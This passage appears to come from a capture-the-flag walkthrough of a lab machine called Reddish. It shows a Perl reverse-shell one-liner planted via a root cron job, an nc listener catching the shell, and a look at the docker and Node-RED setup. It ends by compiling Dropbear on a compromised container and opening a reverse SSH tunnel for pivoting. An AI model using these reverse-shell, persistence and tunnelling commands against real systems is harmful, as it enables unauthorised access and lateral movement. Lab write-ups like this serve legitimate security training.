# cat /mnt/opt/
perl -e 'use Socket;$i="";$p=9010;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Now write the cron:

# cd /mnt/etc/cron.d/
# ls
# echo '* * * * * root sh /opt/' > shell 

Catch the callback:

root@kali# nc -lnvp 9010
listening on [any] 9010 ...
connect to [] from (UNKNOWN) [] 53548
/bin/sh: 0: can't access tty; job control turned off
# hostname
# whoami

Beyond Root

Docker Configuration

Once I have root, I like to go back and look at how things were configured. In this case, the docker configuration is interesting.

The docker configuration files are stored in /opt/reddish_composition/:

root@reddish:/opt/reddish_composition# ls
apache  docker-compose.yml  multi-nodered  redis  rsync  www

docker-compose.yml shows how the machines are run, including the shared volume between redis and www, how the networks are laid out, and that backup is running in privileged mode (<-- comments added by me):

version: '3'
    build: ./multi-nodered
    hostname: nodered
     - "1880:1880"         <-- ports accessible from outside
      - default
      - internal-network   <-- shared network with www/redis
    restart: always
    build: ./redis
    hostname: redis
     - ./www:/var/www/html <-- shared volume with www
     - internal-network    <-- shared network with nodered/www
    restart: always
    build: ./apache
    hostname: www
     - ./www:/var/www/html <-- shared volume with redis
     - /home:/home         <-- homedir with user.txt
     - internal-network    <-- shared network with nodered/redis
     - internal-network-2  <-- shared network with backup
    restart: always
    build: ./rsync
    hostname: backup
     - ./rsync/www:/backup
     - internal-network-2  <-- shared network with www
    restart: always
    privileged: true       <-- allowed host filesystem access
   internal: true          <-- these networks can't talk directly out
   internal: true

Now I can update my picture of the docker network one last time:

Node-Red Collisions

When I first visit the node red site, what’s to keep me from running into other people and their flows? And, what was with the need to issue a POST request to get the url to the site? Turns out, those are related.

The code that’s running the NodeRed instance is in /node-red/multinodered.js:

// Create an Express app
var app = express();

// Add a simple route for static content served from 'public'
app.use("/",express.static("public"));'/', function(req,res) {
    var ip = (req.headers['x-forwarded-for'] ||
     req.connection.remoteAddress ||
     req.socket.remoteAddress ||

    var id = createNodeREDInstance(server, app, ip);
    res.status(200).send({"id": id, "ip": ip, 'path': "/red/{id}"});

There’s no GET for this app, which explains the error. A POST will create a new NodeRed instance and return the id, and the id is what’s sent back to us.

Inside the createNodeREDInstance() function I see the id is just a hash of our ip (which works out really nice when multiple HTB players are trying to use this at the same time):

var id = crypto.createHash('md5').update(ip).digest("hex");

Creating Port Forwards with Dropbear


I have a dummy account on my kali box (named dummy). In /etc/passwd, the shell is set to /bin/false:


That makes it much harder for someone who gets ahold of the key I’m about to create to do anything useful hacking into my host. If you try to ssh into my box as dummy, it just closes:

root@kali# ssh dummy@localhost
dummy@localhost's password: 
Linux kali 4.18.0-kali3-amd64 #1 SMP Debian 4.18.20-2kali2 (2018-11-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 17 06:28:18 2019 from
Connection to localhost closed.

I can use the -N flag to connect without a shell, and the -L, -R, -D flags to forward ports (check out my Intro to SSH Tunneling for more details).

Build Dropbear

Dropbear is a statically compiled, relatively small ssh client that I will use to connect back to my kali box from nodered. I’ll grab the source from the website. I’ll copy the file to nodered using the file upload flow or the perl command to get a file over http:

# perl -e 'use File::Fetch; my $url = ""; my $ff = File::Fetch->new(uri => $url); my $file = $ff->fetch() or die $ff->error;'

# pwd

# ls

Open the archive with tar:

# tar xjvf dropbear-2018.76.tar.bz2                                                      

Now compile the software (the container has gcc and the minimum libraries to build this):

# cd dropbear-2018.76/                     
# ./configure && make                  
checking for gcc... gcc                      
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...    
checking whether we are cross compiling... no

Generate Key Pair

Next I’ll generate a key pair to use with dropbearkey. It’s a simple program with only a few options. I’ll use -t rsa to make an RSA key pair, and -f .k to name the key file .k:

# ./dropbearkey -t rsa -f .k
Generating 2048 bit rsa key, this may take a while...
Public key portion is:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCFI9K2O4PVLSLLIJw2ExqYHtPUQTrcn+GKR3BRaD8Th+5CYIPMRQF8MK29tlgjdZh5MSf5RB4tsm523hMp6879tvi0Bzc0afZ8FKfaVjTwWsG/cbNFZzi4W5PpwsLkh9vbBgXhbPfdmMdz2uLZrsmPKVKXXkg/URz9vhiQelJAL0PcysIBh3c9CkJfNzzNJ2DHxY/OugnhQlObmLfOzkucP2DtTAZjYYCpc8cByzKS7vgo8rZLscf7QrN3LLKr8SFmjSnEcqxvIC1cVOpRju3kmfJxNY4ebcod1DaQtRYXC+K2byNwf5y3z3ahhW8dWJVLEcPH0bueuRVnYk3wfrjx root@nodered
Fingerprint: sha1!! 78:53:6e:77:d8:da:ef:43:a7:c8:97:de:3c:a0:c4:d4:80:7d:f3:ab

Now I’ll put this public key into the authorized key file for dummy on my kali box. While this key is in that file, anyone who has the private key (.k) can ssh into my box, so I’ll want to leave this in place only long enough to get the tunnels set up.

Create Tunnel

Now I’ll use DropBear’s dbclient to ssh back, creating a tunnel to access the web page on www:

# ./dbclient -i .k -f -N -R 8888: dummy@

The options I used are:

  • -i .k - Use the keyfile I generated earlier
  • -f - run ssh in the background
  • -N - Done request a shell or run and commands
  • -R 8888: - listen on port 8888 on my kali host, and forward and traffic to port 80. It’s important to note that my dummy user doesn’t have the privilege necessary to listen on a low port, like 80.

Now I can access the website on www: